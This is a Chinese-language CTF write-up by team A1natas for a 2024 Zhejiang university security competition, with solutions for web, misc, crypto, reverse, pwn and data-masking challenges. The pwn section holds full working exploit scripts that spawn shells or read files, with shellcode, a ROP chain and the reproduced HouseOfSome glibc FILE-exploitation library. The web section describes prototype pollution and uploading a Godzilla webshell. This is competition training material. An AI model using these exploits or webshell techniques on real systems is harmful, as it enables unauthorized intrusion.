A1natas 2024 第七届浙江省大学生网络与安全竞赛初赛 WriteUp

第七届浙江省大学生网络与信息安全竞赛初赛 WriteUp By A1natas

签到

第一题

下断点在失败的地方,然后手动调用 b()
Pasted image 20241102164924
得到 flag

第二题

1
6L<Ak3,*@VM*>7U&FZFNWc,Ib=t,X!+,BnSDfoaNhdiO*][5F];eV^]Lm&?$'<oeGH&6tqcgK_JDp-3;8wh?Si,G$BarTFjE?b$eR/,Igij<({u90M$5If589[<4+jp%3_%R(526#1J|m5p&H+%.#d0<DmLK*#-\8w:xD2Y[3jO{l8[)<(F[=Bcixb>Jp^%L2XvVTzW@9OTko/P74d1sFscEbMO7Vhp&HM;+ww/v[KM1%2M*7O\}rEZM.LM0'\iwK:])pg-nJef\Rt4

使用CyberChef:Base92 -> Base85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32

1

可获得flag

Web

easyjs

代码审计发现想要访问/api/flag需要

image-20241102132205735

而源码用到了lodash的merge函数有原型链污染的洞

image-20241102132239975

image-20241102132301443

成功污染

然后根据要求在访问/api/flag的请求头加上note-id: 1

成功访问

image-20241102132400249

hack memory

先看源码

image-20241102141817190

没什么想法,常规先扫目录:

image-20241102141842511

进/upload看看,用哥斯拉生成🐎

image-20241102141951416

image-20241102142001347

直接连139.155.126.78:35183/uploads/ga.jsp

image-20241102142050631

Misc

RealSignin

得到一张png图片,zsteg一下

文件末尾的是密文,LSB隐写了base表

image-20241102162238054

机密文档

下载后发现文件是加密的,经尝试后发现是明文攻击PixPin_2024-11-02_14-35-03

如图,使用echo -n "the_secret_you_never_ever_know_hahahaha" > mingwen.txt命令可以将内容写入mingwen.txt,这段明文已经超过8字节,加上已知的50 4B 03 04进行明文攻击,可知偏移量为30,得到如图三段密钥,然后得到密钥后使用三段密钥修改文件密码为111111,然后解压得到一个docm文件,修改后缀为zip后解压,在media文件夹内找到一张图

打开docm文件可以看到宏已被禁用

1
olevba  the_secret_you_never_ever_know_hahahaha.docm > test.txt

可以发现一个异或的逻辑

PixPin_2024-11-02_14-42-40

1
2
3
4
5
6
data = [26, 25, 28, 0, 16, 1, 74, 75, 45, 29, 19, 49, 61, 60, 3]
key = "outguess"
key_len = len(key)
for i in range(len(data)):
tmp = data[i] ^ ord(key[(i % key_len)])
print(chr(tmp),end='')

第47行为异或后的key,用它解media里的图片 outguess隐写即可

要把后缀名改成jpg

PixPin_2024-11-02_14-41-58

解得flag

image-20241102164145781

Crypto

myez_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *
n=
232988361917123959905412546007762620662476927259191145280271588200498024434749945
761797384620676290798736339488506378891274527915279145912294151487121725878564976
142854108246140709078475943992182980163795078790662201045977078592461799217319285
08884947347652904142879813069359815823184922170241099916465722623
a=
738866564422391691533406424318134881118463718076346724576251881375779094506906865
4378380490110607063038613823004593920489924786053478102905200169738195523
b=
117429401616470917201804826979800160117748280872340214411335954429496311979896965
08358388255191793888646498553804646435609849154496274569000398776043150743
P=
113000861017090771441912861829138490725931851257452918923981538287194534953250252
27858328617077648296782357912556752467026523366682963139253552060862229027
c=
931453094534366115305984613160841425709255639047910501763363633683292559726281468
068980044822319330181436572612861834860318821975724507391791048779476875846168364
460075689659533665400628203091182486921901540082658912283849245694086163437861900
0373353637666835642505021355710338342048772713981673863167110471
e= 9
PR.<x> = PolynomialRing(Zmod(P))
f = x^4+a*x^2+b*x - n
roots = f.roots()
print(roots)
q = n//p
print(isPrime(q))
phi = (p-1)*(q-1)
print(gcd(e,(p-1)))
print(gcd(e,(q-1)))
p =
292549071294835600920554779833103740920446885226515419792969612310231733084702899
7592576845375767951888373634075473448002921250636926630905567362014595493
print(isPrime(p))
d = invert(e,q-1)
m = pow(c,d,q)
print(long_to_bytes(m))

Reverse

ezRe

一个pyc,用pycdas看pycode,分析还原成原来的,一个rc4两个异或,一个异或密文一个异或密钥,解

ssre1.jpg

Midre

魔改upx DAS全改为UPX就行,进去有花指令,修一下还原一个xor一个AES-CBC,不确定有没有魔改,
但是先试试没改的,结果就出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64

result = 'w53Cj3HDgzTCsSM5wrg6FMKcw58Qw7RZSFLCljRxwrxbwrVdw4AEwqMjw7/DkMKTw4/Cv8Onw4NGw7jDmSdcwq4GGg=='

enc = base64.b64decode(result.encode()).decode()
print(enc)
print(len(enc))

key = '7e021a7dd49e4bd0837e22129682551b'
key = ''.join([chr(ord(i) ^ 102) for i in key])

s = list(range(256))
j = 0

for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
s[i], s[j] = s[j], s[i]

data = []
i = 0
j = 0
for _ in range(50):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
data.append(s[(s[i] + s[j]) % 256])

print(data)
print(len(data))

result = ''
for c, k in zip(enc, data):
result += chr(ord(c) ^ k ^ 51)

print(result)

Pwn

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.update(os = 'linux', arch = 'amd64', timeout = 5)
context.log_level = 'debug'
binary = './shellcode'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = '139.155.126.78'
port = '30608'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

shellcode = """
push r11
pop rdx
pop rdi
sub rdi, 0x44
push rdi
ret
"""

def pwn():
ru(b"input: ")
# gdb.attach(p, "bbase 0x1424")
s(asm(shellcode))

code = shellcraft.sh()
code = b'\x90'*0x10 + asm(code)
sleep(0.2)
s(code)
io()
pwn()

apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from SomeofHouse import *
context.update(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = '139.155.126.78'
port = '35096'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sa(b">>>", p32(idx))

def add(idx, sz):
cmd(1)
sa(b">>>", p32(idx))
sa(b">>>", p32(sz))

def delete(idx):
cmd(2)
sa(b">>>", p32(idx))

def show(idx):
cmd(3)
sa(b">>>", p32(idx))

shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

def pwn():
add(0, 0x500)
add(1, 0x200)
add(12, 0x500)

delete(1)
delete(0)

show(0)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
_IO_file_jumps = libc.sym["_IO_file_jumps"]
__free_hook = libc.sym["__free_hook"]
log("libc", libc.address)

show(1)
p.recvn(1)
heapbase = u64(p.recvn(5).ljust(8, b'\x00')) << 12
log("heapbase", heapbase)

# gdb.attach(p, "bbase 0x1671")
cmd(4)
sa(b">>>", p32(0xFFFFFFF8))
ru(b">>>")

hos = HouseOfSome(libc, __free_hook)

fake_io = hos.hoi_read_file_template(__free_hook, 0x500, __free_hook, 0)
s(fake_io)

sleep(0.2)
stack = hos.bomb_raw(p)
log("stack", stack)

rop = ROP(libc, stack)

rop.call("mprotect", [stack & ~0xfff, 0x1000, 7])
rop.raw(stack + 0x48)
info(rop.dump())

s(rop.chain() + shellcode)


io()
pwn()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
# HouseofSome.py
"""
By Csome, enllus1on
ref: https://github.com/CsomePro/House-of-Some
ref: https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more
"""

from pwn import *
import bisect
# context.arch = "amd64"

class HouseOfSome:

def __init__(self, libc: ELF, controled_addr, zero_addr=0):
self.libc = libc
self.controled_addr =controled_addr
self.READ_LENGTH_DEFAULT = 0x400
self.LEAK_LENGTH = 0x500
self.zero_addr = zero_addr
if self.zero_addr == 0:
self.zero_addr = self.libc.symbols['_environ'] - 0x10

self.fake_wide_data_template = lambda : flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
}, filler=b"\x00")

self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: buf_start, # _IO_buf_base
0x40: buf_end, # _IO_buf_end

0x70: p32(fileno), # _fileno
0x82: b"\x00", # _vtable_offset
0x88: self.zero_addr,
0xc0: 2, # _mode
0xa0: wide_data, # _wide_data
0x68: chain, # _chain
0xd8: self.libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")

self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
0x00: 0x800 | 0x1000 | 0x8000, # _flags

0x20: buf_start, # _IO_write_base
0x28: buf_end, # _IO_write_ptr

0x70: p32(fileno), # _fileno
0x68: chain, # _chain
# 0x88: self.zero_addr,
0xd8: self.libc.symbols['_IO_file_jumps'], # vtable
}, filler=b"\x00")

# ref: https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more
self.hoi_read_file_template = lambda read_addr, len, _chain, _fileno: fit({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: read_addr, #_IO_write_base
0x28: read_addr + len, #_IO_write_ptr
0x68: _chain, #_chain
0x70: p32(_fileno), # _fileno
0xc0: 0, #_modes
0xd8: self.libc.sym["_IO_file_jumps"] - 0x8, #_vtable
}, filler=b'\x00')

self.wide_data_length = len(self.fake_wide_data_template())
self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))
self.hoi_read_file_length = len(self.hoi_read_file_template(0, 0, 0, 0))

self.panel = max(self.hoi_read_file_length * 2, self.write_file_length + self.hoi_read_file_length)
self.switch = 0
self.addr_panel = [self.controled_addr, self.controled_addr+self.panel]

self.functions = [
(f.address, f) for f in self.libc.functions.values()
]
self.functions.sort(key=lambda x: x[0])
self.text_section_start = self.libc.get_section_by_name(".text").header.sh_addr + self.libc.address
self.text_section_end = self.libc.get_section_by_name(".text").header.sh_size + self.text_section_start

def _next_control_addr(self, addr, len):
# return addr + len
"""
内存复用,仅仅使用self.panel * 2内存即可,防止多次RE后溢出
"""
if len <= self.panel:
self.switch = 1 - self.switch
return self.addr_panel[self.switch]
return self.addr_panel[0] + self.panel * 2

def read(self, fd, buf, len, end=0):
addr = self.controled_addr
f_read_file_0 = self.hoi_read_file_template(buf, len, addr+self.hoi_read_file_length, fd)
# f_wide_data = self.fake_wide_data_template()
addr += self.hoi_read_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length * 2)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr,
self.READ_LENGTH_DEFAULT,
0 if end else self.controled_addr,
0)

payload = flat([
f_read_file_0,
f_read_file_1,
])
assert b"\n" not in payload, "\\n in payload."
return payload

def write(self, fd, buf, len):
addr = self.controled_addr
f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd)
addr += self.write_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length + self.write_file_length)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr, self.READ_LENGTH_DEFAULT, self.controled_addr, 0)

payload = flat([
f_write_file,
f_read_file_1,
])

assert b"\n" not in payload, "\\n in payload."
return payload

def bomb(self, io: tube, retn_addr=0):

stack = self.bomb_raw(io, retn_addr)

rop = ROP(self.libc)
rop.base = stack
rop.call('execve', [b'/bin/sh', 0, 0])
log.info(rop.dump())
rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain)

def bomb_raw(self, io: tube, retn_addr=0):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
io.sendline(payload)
stack_leak = u64(io.recv(8).ljust(8, b"\x00"))
log.success(f"stack_leak : {stack_leak:#x}")

payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
io.sendline(payload)
# retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
buf = io.recv(self.LEAK_LENGTH)
flush_retn_addr = self.stack_view(buf)
if retn_addr == 0 and flush_retn_addr != 0:
retn_addr = flush_retn_addr
success("retn_addr(_IO_flush_all) find")
success(f"fix retn_addr to {flush_retn_addr:#x}")
log.success(f"retn_addr : {retn_addr:#x}")
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")

assert offset > 0, f"offset not find"

payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300, end=1)
io.sendline(payload)

return stack_leak - self.LEAK_LENGTH + offset

def stack_view(self, stack_leak_bytes: bytes):
# TODO this function now only support amd64
got_ret_addr = 0
next_flush = False
for i in range(0, len(stack_leak_bytes), 8):
value = u64(stack_leak_bytes[i:i+8])
idx = bisect.bisect_left(self.functions, value, key=lambda x: x[0])
if idx >= len(self.functions) or self.functions[idx][1].address != value:
idx -= 1
if idx < 0 or value - self.functions[idx][1].address >= self.functions[idx][1].size:
if value < self.libc.address:
continue
# TODO show rwx more info
# rwx = ""
# rwx += "r" if segment.header.p_flags & 4 else "-"
# rwx += "w" if segment.header.p_flags & 2 else "-"
# rwx += "x" if segment.header.p_flags & 1 else "-"
if self.text_section_start <= value <= self.text_section_end:
print(f"[{i:#x}] {value:#x} => libc.address+{value - self.libc.address:#x}")
if next_flush == True and got_ret_addr == 0:
got_ret_addr = value
continue

function = self.functions[idx][1]
if value - function.address > function.size:
continue
print(f"[{i:#x}] {value:#x} => {function.name}+{value - function.address}")
if "_IO_flush_all" in function.name:
got_ret_addr = value
if got_ret_addr == 0 and "_IO_do_write" in function.name:
next_flush = True

return got_ret_addr


数据安全

ds-encode

拿到一个 mysql 的二进制文件,直接找一个 mysql 服务器,然后吧 data 替换进去,然后导出数据库为 json 文件,写一个 python 脚本分析

Pasted image 20241102162147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import json
import re
import csv
import base64
import hashlib

f = open("data.json", "r", encoding="utf-8")
obj = json.loads(f.read())
f.close()

def processBase(name, v):
if name == "Base64":
return base64.b64decode(v).decode()
elif name == "Base32":
return base64.b32decode(v).decode()
elif name == "Base85":
return base64.b85decode(v).decode()

for ob in obj:
if ob["cryptoType"] != None:
for k, v in ob.items():
if k != "cryptoType" and k != "userid":
ob[k] = processBase(ob["cryptoType"], v)

username = ob["username"]
username = username[0] + '*' if len(username) == 2 else username[0] + '*' * (len(username) - 2) + username[-1]
ob["username"] = username

md = hashlib.md5()
md.update(ob["password"].encode())
ob["password"] = md.hexdigest()

sha1 = hashlib.sha1()
sha1.update(ob["name"].encode())
ob["name"] = sha1.hexdigest()

idcard = ob["idcard"]
idcard = '*' * 6 + idcard[6:6+4] + '*' * (len(idcard) - 10)
ob["idcard"] = idcard

phone = ob["phone"]
phone = phone[:3] + "*" * 4 + phone[7:]
ob["phone"] = phone

ob.pop("cryptoType")

with open('output.csv', 'w', newline='', encoding="utf-8") as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=["userid", "username", "password", "name", "idcard", "phone"])
writer.writeheader()
for row in obj:
writer.writerow(row)

print(obj)

附件链接:https://pan.baidu.com/s/140Wxcv0w4eJJ1XX1r_sRcg?pwd=uvj4